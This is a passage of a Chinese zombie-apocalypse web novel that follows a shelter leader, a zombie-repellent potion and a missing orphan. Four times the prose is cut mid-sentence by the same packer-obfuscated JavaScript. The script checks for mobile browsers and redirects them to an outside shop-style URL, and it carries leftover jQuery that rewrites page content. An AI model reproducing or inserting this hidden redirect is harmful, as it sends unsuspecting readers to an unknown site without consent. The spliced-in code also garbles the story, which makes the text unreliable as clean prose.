“并非如此,那只乌鸦只是我朋友的异能而已。”许怀嘉坦然自若地继续说。 她没有抬高音量,因为没有必要那样做。她知道其实在场所有人都在竖着耳朵听她说话,恨不得晚上睡觉前都要再回味两遍,看看能不能找到新的批判点。 “事实上,她掌握着一种可以驱逐丧尸的新型药剂。” “如果不是我的驱逐药剂,那天到场的人至少会伤亡过半。”许怀嘉身后传出陌生的声音,一个苍白如鬼影的女人掀开斗篷的帽兜,自阴影中现身。 钱雨青出现在许怀嘉身边,打的正是送信号药剂的旗号。 “这是简化版本,只能对普通丧尸发出驱逐指令,所以直接叫驱逐药剂也可以,”钱雨青摇晃着手中的淡红色液体,“但胜在材料简单易得,生产并不困难。” 在简化版本中,沈修明移除了其中用于捏造指令的核心信息素,将主要成分改得面目全非。这种改动彻底堵死了人类研究员反向解析的可能性,直到他们反应过来,这只是条被诱导的死路一条。 不过,这无损药剂本身的强力效用。 许怀嘉眼前一亮:“真的吗?!真是帮大忙了,谢谢你们!” 只要有了丧尸驱逐药剂,不仅让寻找物资的外勤人员的生存多了一重保障,对战斗力低下,意外遭遇丧尸的普通人的价值更是不可估量。 “和上次一样,数量刚好十支,”钱雨青说,“我只是为你而来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470852|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你想怎么做呢?” 许怀嘉的笑容淡了一些:“和上次一样,我会公布药剂的存在。我拿一支,剩下的价高者得。” “我记得你们现在已经没那么物资短缺了?” “反正就算我什么都不拿,他们也不会手下留情,只会继续无限剥削底层民众,不如都给我好了。” 钱雨青点头:“你可以告诉他们,是我拿出了这种药剂。” 按照现在许怀嘉在外的风评,恐怕她一掏药剂,阴谋论就会立马满天飞。一定会有人用各种理由逼迫她交出发明了药剂的研究员,她的小避难所扛不住更大的压力了。 许怀嘉下意识想要拒绝:“这可能给你带来麻烦……” 钱雨青爱怜地抚摸她的脑袋:“如果我要藏起来,没人能找到我。在那之前,我还想见见你建立的避难所啊。” 淡红色的五管液体被许怀嘉放在身前,令所有人屏息。 这间菜市场一样的会议室从未如此安静过,任谁都能看出驱逐药剂的价值。 “保质期六个月,最好密封保存。”钱雨青态度随意地说。 “这是你制作的?”有人问。 “正是。”钱雨青能够感受到,这些人灼灼的目光正死盯在她身上,简直要把她戳得穿孔。 获得了一定地位和话语权的许怀嘉已经不再需要别的手段取信于人了。没人提出“如果这种药剂是假的呢”这种蠢问题,真是谢天谢地。 “药剂的话题先告一段落,生意可以私下再谈,”许怀嘉将药剂收起,不给这些人联合起来压价的机会,转开话题,“我邀请我的朋友来这里,是想让她说说高阶丧尸的情况。” 今天的劲爆话题怎么一个接一个,这还是我们屁用没有的联盟会议吗?这里居然是真能听到干货的地方吗? 钱雨青上前一步,掐头去尾地讲起自己和高阶丧尸斗殴的情况:“那只丧尸控制了T市大部分普通丧尸,我只能将他引入地形比较复杂的建筑内周旋。他大概三米高,防御力和攻击力都十分惊人,但还好他的异能是非战斗系的,否则我很难及时脱身……” 会议结束时,才刚到午饭时间。 “三天,整整三天啊!总算彻底结束了。一开会就都在扯什么鬼闲篇,估计是觉得丧尸翻不出什么浪吧。”许怀嘉拉起防水外套的拉链,一脸无语。 钱雨青挑眉:“可是丧尸都大规模觉醒了?” “觉醒后丧尸向死区汇聚,在外游荡的个体变少,出行反而更安全了,”许怀嘉气馁摇头,“他们就是不肯想远一些。” 钱雨青也直面了那些人懒散的态度,说着“丧尸的弱点就是不能繁衍,必须依附人类而存在,它们如果对人类赶尽杀绝,那就是自取灭亡”,便两手一摊。 想来他们也知道,无论实力或地位,最终牺牲的人不会是他们自己。 这让她很失望:“幸存者中说得上话的人就这?” “那倒不是,真想做事的人早不来了。如果不是因为你的药剂,我也懒得来。” 钱雨青想起她没有拿出来的剩下四管药剂:“你的盟友?” 许怀嘉点头:“已经送去了。放心,人类没那么容易完蛋。” “咳,只是有点担心。”表情太明显了。 “哈哈哈,我知道。谁看了他们那鸟样都会发火的,”许怀嘉的神情放松,“别管他们了,来吧,我带你回我的避难所看看。” 17. day2 许怀嘉的避难所建立在Y市边缘。 “原来就在H市旁边。” 许怀嘉扭头:“雨青是H市人?” “不,只是受人之托,到H市找过沈修明。” “我听说过这个,”许怀嘉笑起来,“涵姐说你当时差点吓死她们啦!” 和上一次T市外的仓促见面相比,许怀嘉的精神状态好转许多。曾经的开朗活泼重新回到了脸上,底色也从迷茫变得坚定。 因为林涵吗?钱雨青暗自思索。 “当时也是下意识这样做了,抱歉抱歉。” “这样说可就太见外了。”直爽的女声从身后传来,一根晒得微黑的手臂“啪”地挂在了钱雨青的肩膀上。 “我回来了。”许怀嘉挥手。 出来巡视,顺便接人的林涵朝她呲牙一笑,转头对钱雨青说:“欢迎来参观啊,有没有兴趣加入?” “可惜我还是喜欢当独狼,”钱雨青遗憾道,“如果哪天真要加入势力,一定首选你们。” “那就说定了,”短发女人一把抓住许怀嘉,一手薅着一个,推着两人往基地里走,“晚饭已经准备好喽,牛肉咖喱。你们没忌口吧?” 穿过岗哨相连的层层防线,进入第十三避难所的第一感觉是吵。 人,好多活人。自从来到这个沉沦末日的世界后,钱雨青不是和沈修明当老鼠藏地洞,就是在丧尸堆里潜行或狂奔,不是没话说就是不能说,把嘴闭得死紧。 至于丧尸的嘶吼,只配称为噪音。 浸泡过长久的寂静之后,曾经习以为常的熙攘喧哗也令人产生了紧绷的不适感。 末日世界的夜晚属于丧尸。 为了方便警戒,所有的人类聚居点都有宵禁的规定,钱雨青想要逛,自然要等到第二天。 居民区的街道并不宽敞。 为了将有限的空间利用到极致,楼与楼之间狭窄得堪称摩肩接踵。 钱雨青在风中隐约闻到浅浅的薰衣草的气味,一抬头,就看见洗得发白的被单晾在两个阳台间相连的衣绳上,像是被朝阳涂抹了一层暖色的橘红。飘扬着,像海浪,又像海鸥的翅膀。 幼小的孩子牵着手“哒哒哒”跑过,穿着破旧不合身的小背带裤,没系好的挂带像条小尾巴似的在背后一甩一甩,脸上挂着真切的笑容。 少女哼着歌,搀着蹒跚的老人走过,看见许怀嘉和林涵时眼前一亮,凑过来:“老大,林姐,你们今天有空到这边来呀。” 她一只手在塑料袋里掏掏掏:“诶我黄瓜呢……啊在这里。今天刚收的,我请你们吃吧。” “好呀,谢谢。”许怀嘉并不推辞,拿了一根黄瓜掰成三段,分给旁边的林涵和钱雨青,又往少女的塑料袋里塞了一盒巧克力,“上个月我不在基地,不过现在说也不晚。祝你十五岁生日快乐!” “同乐同乐!”少女踢踢踏踏地走了。 钱雨青已经好久都没吃过新鲜蔬菜水果了,有时恨不得化身疯狂兔子啃绿化带。现在也不推辞,三两下就把黄瓜啃啃啃嚼嚼嚼,吞了下去:“好吃!” 林涵嘴里也塞满了,发出一串叽里咕噜的神秘动静,许怀嘉说:“居民在空闲的时候会自己种点东西,能生吃的,或者好处理的都很受欢迎。比如黄瓜、豆芽、小番茄什么的。” “我在别的避难所可没见过这些。” 林涵猛地一抻脖子,把黄瓜“咕咚”咽了:“哪可能有。他们连自己都要养不活了。” 新鲜蔬果珍贵,但永远比不过立马就能入口饱腹的现成食物珍贵。幼小的苗总要一天天浇水,一天天长,被呵护,然后再开花结果。一个朝不保夕,惶惶不可终日的人,没有时间去等待一棵幼苗的未来。 否则,人人都知道粮食珍贵,为什么没多少人想办法种地呢? 松土浇水不如去便利店翻一包过期饼干,吃完就能勉强把今天捱过去。腹中火灼般的饥饿暂时消退,于是人们得以趁机滑入无忧的梦乡,直到第二天来临,周而复始。不死就继续活,死了也没什么办法。 “世界末日”并不是将时代一分两半的天堑,而是看不到明天的普通人挣扎着想要活下去的绵延的绝望。每一天每一天,他们在沸腾的汤中煎熬,等待炼狱的火熄灭。 但在许怀嘉的保护下,这里的人们仍对已然缥缈的未来有所期盼。 “要去看看陈露和冬珍珍吗?她们就住在附近。”许怀嘉问。 钱雨青从记忆里扒拉出两个瘦得皮包骨的小孩:“所以今早你带书出门是为了这个。” 一整套彩色封面的漫画书,上面印着知名的某圆手蓝胖子,边角被摸得开叉卷起,但受损处被填补得很干净,看得出是许怀嘉珍惜的东西。 “嗯,她们之前就说想看,但当时我刚巧借给了别人。” 许怀嘉在一扇漆成浅蓝色的铁皮门前停步,刚要抬手敲门,门便自己敞开了。好几个身影猛扑而出,和她撞在一起,死死抱住了她的腰。 一时间,小孩子们叽叽喳喳的“嘉嘉姐”、“嘉嘉姐”的叫声不绝于耳。 “嘉嘉姐好受欢迎啊。”钱雨青退后一步,双手环胸对林涵说。 林涵答:“因为嘉嘉姐每次都拿糖贿赂评委。” “啧啧啧啧,虚荣的嘉嘉姐。”钱雨青说。 “啧啧啧啧,狡猾的嘉嘉姐。”林涵说。 红着脸的许怀嘉手忙脚乱地应付着地鼠一样乱钻的孩子们,扭头用力瞪她们:“有完没完啦你们,快来帮我!” 无论什么时代都不会缺少孤儿,只是在这个时代数量格外多,待遇也格外差。 命运的幽默感如此吊诡。如果一个人是幸运的,为何转眼间身边已空无一人?如果一个人是不幸的,为何独独自己活了下来? 在灾难之后,每个“幸存者”都将在夜不能寐中如此诘问,而命运只以沉默作答。 “这里是居民区最中心的地方,孩子们安置在这里最安全,隔壁就是巡逻队的驻地,”许怀嘉隔着墙比划,“我们雇了两个心细的阿姨来照顾孩子们的起居。” 她之前久不在基地,今天来这里也有按例巡查的意思。 随着她的介绍,两个穿着围裙的女人局促地站在一旁,对钱雨青这个陌生的脸孔露出讨好的笑容。 钱雨青粗略一数,这间小小的“孤儿院”里有二十来个孩子,年龄层出奇的统一,绝大多数都处在十到十四岁之间,只有一两个六七岁的藏在某条腿后面。 不难理解,太小的孩子压根没有自保的力量,暴露在外便难逃一死;而年纪过了十四的,就该自己养活自己了。这些大姨大妈年龄普遍在五六十岁,腿脚灵活,恐怕比末日前天天上班被压榨的亚健康年轻人还健壮得多。出生入死不合适,但做后勤毫无问题。 幸存的普通人是相对的弱者,而非绝对的弱者,因为后者本就不可能活下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470853|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “阿姨对我们很好。”陈露抱着钱雨青的脑袋说。 她是第一个跑过来和钱雨青与林涵打招呼的孩子,于是钱雨青感动地让她坐在了自己的肩膀上。 “是吗?”林涵把她翘起的衣领理平整。 “嗯,她们经常会关心我们,”陈露点头,“做饭也很好吃。” 钱雨青一顿,蓦地看向人群的角落,一个孩子慌忙低下了头,过长的刘海遮住了她的面容。 她向来对人的情绪很敏感,刚才针一般刺人的怨恨虽然遮掩得很小心,但完全逃不过BOSS级别的感应。不动声色地轻轻扫视一圈,钱雨青在部分孩子的脸上,也或多或少地分辨出了细微的复杂和不忿。 有隐情,还是……? “喂。”林涵突然拍了一下她的背。 钱雨青把表情一敛:“怎么?” “别突然露出那种要干坏事的邪笑好不好,”前受害人林涵吐槽,“要是把小孩子吓着看你怎么办。” “我就是什么都不打算做才坏笑的。”钱雨青抗议。 林涵翻白眼:“是是是,怕了你了。” 随手拿起一只小长颈鹿玩具,在手里捏得叽叽响,钱雨青貌似随意地问:“除了露露以外,还有别的孩子觉醒了异能吗?” “好像……三个吧,陈露是一个,”林涵一抬下巴,“喏,那还有一个,就是嗓门大的那个。一个战斗系,一个辅助系,一个储存系。嘿,仔细一算还挺全面。” “到年龄就会收编吧?” “那肯定。唉,我们这方面接触太多,有时老感觉外面异能者好像一抓一大把似的不值钱,其实真按比例算其实一千人里都不一定能觉醒一个。异能者去哪都不会没人要的,只能说能打的更吃香而已。” 觉醒异能不只是拥有超凡的新能力,异能者原本的身体素质也会得到全面提升。然而异能的觉醒也全无规律,就像有的孩子生下来就长得更强壮高大、脑子更聪明,乃至脸更美丽,都只是纯然的天赋而已。 虽然不乏有人在危急关头觉醒,但也只能说明他们本来就有隐藏着的天赋,而不是无中生有。 “那倒是,”钱雨青的目光隐晦地观察着周围的人,表情、姿势重心、移动路径甚至呼吸的变化,嗅闻他们的情绪,“那没有觉醒异能的呢?” “看情况嘛,总不会没事做的。”林涵摆手。 钱雨青收回目光,了然点头,对着另一个角落晃了晃玩具:“珍珍?原来你在啊。” 冬珍珍插着兜晃出来,仰着脸说:“还以为你不会记得我了。” “这不找了你半天么,谁让你故意藏起来了。” “没有故意。”冬珍珍说。 钱雨青把长颈鹿玩具塞给陈露,蹲下身,把小孩放下来。 “去玩吧,”她将人赶走,扭头问:“发生了什么?” 和成年人们交谈完的许怀嘉脸色不太好看。 看见她的表情,林涵悄无声息地靠过来,已经随时准备听令了。 “有个孩子逃跑了,偷走了这里储存的部分物资。”许怀嘉说。 “一个孩子,怎么做到的?”钱雨青问。 “他是异能者。”许怀嘉说。 哦,钱雨青心想,原来如此。 “要和我详细说说吗?”她问。 许怀嘉眼中闪过一丝纠结,但最终还是说:“好,拜托你了。” 18. 有关你和我的事1 出了这样的意外,没人还能有继续逛街的心情,出了孤儿院的大门,三人便不约而同地朝着总基地的方向走去。 “这件事,交给我处理比较好吧?”林涵说。 作为避难所的首领,许怀嘉天天忙得团团转,工作量大得惊人。虽然比刚建立那会儿已经好不少,但能领头抗事的还是没几个,抓住一个能干的,恨不能一个掰成八个用。 尤其钱雨青刚刚带来驱逐药剂,后面对外需要应付无数的谈判、拉扯,对内要安排对药剂的保护和研究工作,要不是刚好撞上,一个孩子逃跑的小事或许根本不会报到她案头。 许怀嘉却没有马上点头,犹豫地咬了咬下唇:“我还没有想好。” 钱雨青好奇地问:“怎么了?”视线转向林涵,却看见她露出了然和不赞同的表情。 这让她更加心如猫抓,凑到许怀嘉身边:“刚刚才说好的,我也可以帮你呀。我们不是朋友吗?” 又走过一条街,许怀嘉长叹一口气,对林涵说:“没关系的。” 半个月前逃走的孩子名叫王乐乐,十岁。 “他是半年前,我从第九避难所带回来的孩子。他有个哥哥,王安宁,是我曾经在行动队的队友。”许怀嘉简洁明了地说。 “他哥哥死了?”钱雨青一听这个开头就懂了。 “对……”许怀嘉盯着林涵不赞同的目光,低声说,“我对不起他们。” 事情的开端要从许怀嘉和钱雨青在高速公路正中央狭路相逢之前讲起。 “当时我们突然接到所里的秘密任务,要求尽快去R市寻找血清,并将无法带回的其他部分,连同研究场所全部销毁,”许怀嘉在讲述这段经历时面无表情,双眼定定地看着天空,像只是在讲旁人的事,“那天中午,其他人都在外收集物资,我约队长单独交涉,无果后当场袭击了她。” “她反应很快,想要回据点用通讯器报信,但我比她更快一点。她跑上了二楼,结果王安宁在那里。他前一天受了点伤,在医务室睡觉,不小心睡过了头。” 钱雨青恍然大悟。 之后,脱队的许怀嘉蹭了她和沈修明的车一道去了R市,而失去通讯器的其他队员不敢和实力强大的许怀嘉硬碰硬,也没有什么非要执行任务的信念,立刻就坡下驴打道回府了。 “不过一开始,R市有血清只是一个捕风捉影的信息吧?”钱雨青问。 不然其他势力不会只派小分队来刺探消息。 许怀嘉摇头:“那是对其他势力来说如此而已。当时有个研究员向第九避难所寻求庇护,言之凿凿声称R市一定有血清,而他是实验计划的成员之一。事实证明,他的消息是对的。只是他在后续对血清结构式的分析中没什么成果,大概是对自己的水平夸大其词了吧。” 钱雨青赞同道:“这也不奇怪,谁没在简历里润色造假过呢?” 不过,R市的地下研究所里其实根本没有血清,许怀嘉能拿到样本只是阴差阳错。现在各大机构研究的血清原液来自于卡尼利恩·莱茵,这个用星际未来版本超高数值强行破解异世界机制的逃课化学家。 如果他真的接触过真正的血清,就该知道卡尼利恩的版本和原版完全不一样,然而他什么都没发现。 听起来那个研究员是准备把责任推给许怀嘉所在的小队,声称关键数据丢失,拿着高待遇高福利申请研究经费,然后假装在努力糊弄个十年八年的。 唉,如果她是那个研究员,她就这样干。 “他现在还在研究吗?” 许怀嘉点头:“现在有研究能力的人才本就稀缺,有就不错了。” 还真这样干了。 诅咒他骗经费的行为败露。 “现在想想,能够更好解决问题的方法有很多。他们也未必就能靠这么少的人硬闯进去,只是当时的我想不明白。” 林涵打断她的内耗:“怀嘉,别想太多了,没人能所有事都做到完美的。凡事就怕万一,你和你朋友不就是两个人进了避难所吗?地上拦截的队友也只有三个。你不过是选了最稳妥的方式而已。” 许怀嘉勾起一个没有笑意的笑容:“姐,我知道的。但如果不是王安宁死了,王乐乐也不会变成孤儿。” 王安宁是异能者,还是有战斗力的外勤人员,在避难所中有着最高级别的待遇。作为他唯一的血亲,王乐乐的地位自然也水涨船高。他是王安宁的软肋,也是别人巴结的桥梁。 “他们原本相依为命时,王乐乐还懂得装乖。但后来王安宁忙着出任务,没时间再管教他。他脾气本来就不太好,之后更是变本加厉的坏,带着几个小弟充老大,”林涵挠着下巴回忆,“我记得有一次,他笑一个孤儿没人撑腰,把食物丢地上叫人去舔,一顿打完还把人丢进垃圾桶。吓死人了。” 末世里,没觉醒异能的小孩子命贱得像野草,被拐去卖的价格甚至比不过同重的肉罐头。 第九避难所说是有孤儿院,其实就是个能挡雨的屋檐,孩子想吃东西只能去偷去抢,死了失踪了也不会有人在乎。王乐乐欺负孤儿毫无后果,直到他和避难所里另一个高层的孩子打得头破血流。 许怀嘉说:“嗯,有人怂恿他这样干。” 为的就是控制王安宁。那段时间他四处赔礼道歉,欠了许多人情,才把事情摆平。 “我知道。但他干了就是干了,反正我再被怂恿也做不出这种事。”林涵摊手。 王乐乐向来高高抬着下巴,但自从兄长的死讯传来,他的生活便从天堂摔入了地狱。 一个跋扈,傲慢的孩子,是不会被早就在灾难中重塑了世界观的同龄人们真心接纳的。在孤儿院之中,他成了所有人发泄情绪的对象。 从一开始的孤立无视,到背后窸窣的嘲笑,再到上手推搡、言语侮辱,以及最后真正的报复和殴打。少年的恶意在成年人疏于注视的地方膨胀,一步步将底线踏破,并不需要多少次试探和进攻。 “半年前我去看望他的时候,他已经瞎了一只眼睛,右手的无名指和小指也没有了,”许怀嘉嘴角痛苦地抽动着,“所以我把他带了回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470854|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。” 没想到,来到第十三避难所仅仅两个月后,他就觉醒了异能。 “王乐乐的异能是和小型动物沟通,比如老鼠或麻雀,是优秀的侦察类能力,能独自离开并不奇怪。”许怀嘉说。 “而且他非常讨厌怀嘉,”林涵双手交叉环在胸前,“刚来的时候还老实点,觉醒了异能腰杆就硬了,开始大吵大嚷,说要给他哥报仇。” 许怀嘉:“一码归一码,我确实杀了他哥哥。” 林涵:“就是这点麻烦,不然谁管他。” 钱雨青:“然后他没有选择报仇,而是偷了孤儿院储存的物资逃跑了?” 听起来逻辑倒是很通顺。 “所以,这件事就这样算了吧,”许怀嘉深深叹息,“他现在是异能者,不管想到哪里去,其他势力都会接纳他。既然他这样选择,那就尊重他好了。” 她既不瞎也不聋,知道王乐乐是个什么德性。就算心里有过不去的坎,也不至于凑上去热脸贴冷屁股。 “……可惜了物资,维生素片可是很珍贵的。”林涵嘀咕。 这就是同意翻篇的意思了。 钱雨青眨眨眼,眼珠一转,故意拖长声音说:“人跑了就跑了吧。不过……物资被盗这件事,可能另有隐情。” 闻言,面前和许怀嘉和林涵同时皱起眉头。 “怎么说?” “只是直觉,”钱雨青用玩笑语气说,“总感觉哪里不对。孤儿院的物资是定量的,一个月供给一次,王乐乐拿了,剩下的人份量就少了。他们居然完全没意见,共同隐瞒到现在?” 许怀嘉的表情变得更胃疼了:“因为他和其他孩子不对付,经常发生冲突。他要逃跑,大家都开心,谁也不想他反悔。要不是我今天问起,没人会提他。” “合理,太合理了!”钱雨青哈哈大笑,“做人做到这份上真够失败的!” 挥别忙着去工作的两人,街溜子钱雨青从口袋里掏出鸭舌帽戴上,脚后跟一转,拐入旁边的小巷中。 乌鸦直到这时才开口:“你觉得这件事另有隐情?” “这不重要,”钱雨青摊手,“反正没有人在乎。” 乌鸦:“因为你没有说真正的理由。” 钱雨青:“这要怎么说,‘我闻到了说谎的味道’?” “去查查吧,”乌鸦平静道,“我给你发布任务,奖励你一张去异世界的单程票。” 钱雨青无语地说:“我第一次听说这东西还是任务奖励来的。” 乌鸦:“现在你听说了。” “哼,平时看不出你这么滥好心,居然还在乎一个陌生小孩的死活?” 血红的眼睛冰冷地转向她:“你明知道我在担心什么。” “我都答应林涵什么都不做了,现在却要为你食言,”钱雨青美滋滋地感慨,“我可真爱你啊。” 乌鸦权当听不见,转开话题道:“你打算什么时候开始查?” “这还用说?”钱雨青往天上一指,“当然是夜半三更啰。” 19. 有关你和我的事2 冬珍珍睁开眼睛。 今夜似乎比平时更冷,她打了个寒噤,神经似是被轻轻拨动,湿冷气激起胳膊上一片鸡皮疙瘩。心底泛起隐隐的不安,她将其归于神经过敏和长久以来积累的不安。 无声掀起黑白波点的窗帘一角,四架高低床紧靠着房间的四面墙,其他舍友都睡得烂熟,香甜的呼噜声此起彼伏,让她有些羡慕。 幼小的女孩顺着梯子下床,趿着拖鞋走到中间拼凑而成的大桌前,倒了半杯温水,在黑暗中用手指摸过杯口一圈,才小心啜饮起来。 绿色的塑料水杯,上面画着微笑的黄色长颈鹿,和陈露的粉蓝色小象水杯是同系列的产品,也是冬珍珍最珍惜的所有物之一。 在第十三避难所里,孤儿们的待遇并未被克扣,已经比其他地方好上不少,但也绝不宽裕。绝大多数物品都必须是大家共用分享,如果数起完全属于自己的东西,答案一手可数。 她的陈露的水杯是一年多前,许怀嘉四人带她们回Y市时,特地在搜寻物资时带回来送给她们的。那时避难所还没有正式建立,她们两个能见到许怀嘉的机会也比现在多得多。 可惜她的水杯之前被王乐乐摔破了一个角,要是喝水时不小心,有可能割破嘴唇。 还好他现在滚蛋了。 “噗呲,噗呲噗呲——” 身后传来轻轻的呼唤声,冬珍珍悚然回头,钱雨青扶正她差点脱手的水杯,捂住她的嘴,耳语道:“偷偷问你点事。诶,别揍我……” 天空中的星星稀疏而黯淡。钱雨青两腿交叉着伸直,双手后撑,坐在铁皮屋顶上,冬珍珍靠在她身边,身上披着钱雨青的风衣外套,手上仍然拿着绿色水杯慢慢喝。 “要问我什么?” 有了一照面就吓哭小朋友的壮举,钱雨青老实不少:“来问王乐乐。” 冬珍珍一听这个名字,就厌恶地皱眉:“王乐乐?你问他干什么,嘉嘉姐说要追责?” “那倒不是。你嘉嘉姐已经决定不管了,想管的人是我。” 冬珍珍撇撇嘴,倒没有说钱雨青多管闲事,反而劝告得语重心长:“别管他了。我们连物资都不要了,如果你真把他带回来,绝对会被扎小人的。” 钱雨青兴致勃勃地问:“包括你?” 冬珍珍认真想了想,点头:“包括我。” “呵呵,真可怕,”钱雨青摸摸她的头,“不过,我追查其实是因为有一种预感,如果不查清楚的话,或许有人会后悔呀。” 她说这句话时倾下身体,把手竖在嘴边,压低声音,好像和冬珍珍在聊的是什么不靠谱的路边小八卦。 “你发现了什么?”沉默许久后,冬珍珍问。 “我还没开始调查呢,一开始就来找你了哦,”钱雨青笑眯眯地说,“毕竟我和王乐乐不熟嘛,你有什么思路吗?” 大概是没见过问十岁小孩要调查思路的神奇成年人,冬珍珍又沉默半天,才说:“如果你要找到王乐乐,就得知道他去了哪。” 非常正确的纯废话。 想也知道,事情已经过去了半个月,黄花菜早就凉透,说什么都迟了。在动不动就音讯断绝的末日世界里找人的难度,和灾难发生前完全不能同日而语,除非有对应的异能,不然谁来都白搭。 但钱雨青的异能不是和影子有关吗?她到底想干什么? “那他和你们说过想去哪吗?”钱雨青问。 “当然没有,他讨厌我们,我们一靠近他就大喊大叫,怎么可能主动分享这些事,”冬珍珍抱怨着,突然一顿,“不过我好像确实看到过点别的。” 第二天钱雨青再次来到孤儿院时,冬珍珍跑出来接她。隐晦的视线投注在她的背后,回头时却谁都没看见。昨天她和许怀嘉林涵一起来,人人都知道她是首领的朋友,即使不说明来意,也没有谁敢拦。 王乐乐曾经的位置早就打扫干净,有用的东西被瓜分,垃圾被清走,剩下没人要的进了杂物间。 钱雨青随意关上门,没有开灯,而是从兜里掏出了一个银壳的手电筒,“咔哒”一声点亮。 “干嘛不开灯,我们又不是来做贼。” “嗨呀,这叫氛围感,就得这样找才有感觉。”钱雨青美滋滋地说。 “就在这里,他的笔记本,”冬珍珍不理解但尊重,她对杂物间的布局很熟悉,信手一抽,将一本黑皮的笔记本放在钱雨青手中,“他写字太难看,谁都看不懂。” 钱雨青一翻开,就看到笔记本后半部分全被撕走了。 “噢这个,”抓着她胳膊,正垫起脚探头看的冬珍珍尽职尽责地解说道,“他没污染过的部分我们分去用了,不然太浪费。” 失去了便捷的电脑后,成年人办公对纸笔的需求便大量增加。于是对需求端更下游的孩子们来说,都够写字的纸是奢侈品中的奢侈品,铅笔橡皮比水性笔或圆珠笔珍贵许多。 平时识字练字时,用小木棍在沙地上划拉就足够,但要学习写文章时,纸笔便必不可少。能够反复涂改的铅笔能够极大延长一张纸的使用寿命。 但王乐乐不在崇尚节约的群体之中。 他的笔记本里充斥着用水性笔随意书写的文字和简笔画,以及大量涂改,有时手指不小心抹过尚未干透的字迹,那处的墨水便晕成一坨,又被随意揩在纸页的边角。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470855|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正如冬珍珍所说,王乐乐的字写得很难看,一个个字大大小小,鸡零狗碎。钱雨青用手电筒光照着书页,随便翻了几页,就觉得眼睛生疼:“是他的日记。” 大概是写给王安宁看的,里面大量充斥着对“我哥哥很厉害”的吹嘘,以及他自己平时多乖巧,无奈别人总欺负他的描述,和林涵的说法不能说一模一样,只能说毫无关联。 “他们总是找我的麻烦……呕,”冬珍珍翻了巨大的白眼,“谁找谁麻烦啊!” 钱雨青惊奇道:“之前你没看过吗?”现在明明看得津津有味嘛。 “那是现在,我对他已经没那么讨厌了,”冬珍珍耸肩,“之前我差点就把他东西一把火全点了。” “他到底对你们做了什么?有许怀嘉在,他也不敢打人吧?真有这么过分?” “但除了打人以外的事他全干了,”冬珍珍臭着脸,把嘴巴一扁,“他总说自己要报仇,还说嘉嘉姐欠他的,天天用脏话骂嘉嘉姐。只要我们谁表现出喜欢嘉嘉姐,他就针对谁,之前还撕了嘉嘉姐带来的漫画书!” 钱雨青看得出来,她原本是不想说这些的,但在狡猾成年人三番两次的引诱下,还是没忍住汹涌澎湃的心情,越骂越大声。 “后来他觉醒了异能,就更加过分!那天我和他吵完架,第二天早上我被窝里就钻出了一条蛇!毒蛇!” 当时冬珍珍吓得大叫,眼泪都出来了,结果被王乐乐追着贬低嘲讽了很久。 “那几个阿姨也向着他,就因为他有异能!她们怕以后被穿小鞋,报上去也只会和稀泥,一点用都没有!明明王乐乐都威胁说要杀人了!!” 冬珍珍的怒吼戛然而止,把头撇到一边。 人置身昏暗的环境中时,会因未知感到恐惧,但与此同时,在昏暗却熟悉的环境中,人在心理上常有自己隐蔽在安全处的错觉,更容易吐露心中的秘密。 钱雨青把她抱在怀里,并未对她的话发表意见,只是问:“那露露呢?” “露露不知道,异能者的房间和我们不在一起,”冬珍珍说得很简略,“王乐乐很忌惮露露,不在她面前欺负我。” 谁都知道,陈露有珍贵的储存系异能,还是许怀嘉亲自带回来的。她在孤儿院中的地位超然,从不需要自己开口去争取什么,唯一一次提出要求,就是希望冬珍珍能和她住一个房间,只是冬珍珍拒绝了。 毕竟,她只是个没有异能的普通孩子。如果完全依靠陈露好友的身份去获取特权,其他孩子固然不敢招惹她,却也很容易孤立她。她不想这样。 钱雨青若有所思地合上笔记本:“我知道王乐乐画的是什么了。” 20. 关于你和我的事3 笔记本中最后一页日记的日期停留在王安宁的死期之前。 钱雨青将后面的几页纸张用一个别扭的角度叠在一起,原本弯弯曲曲、断断续续的线条露出了其下的真义。 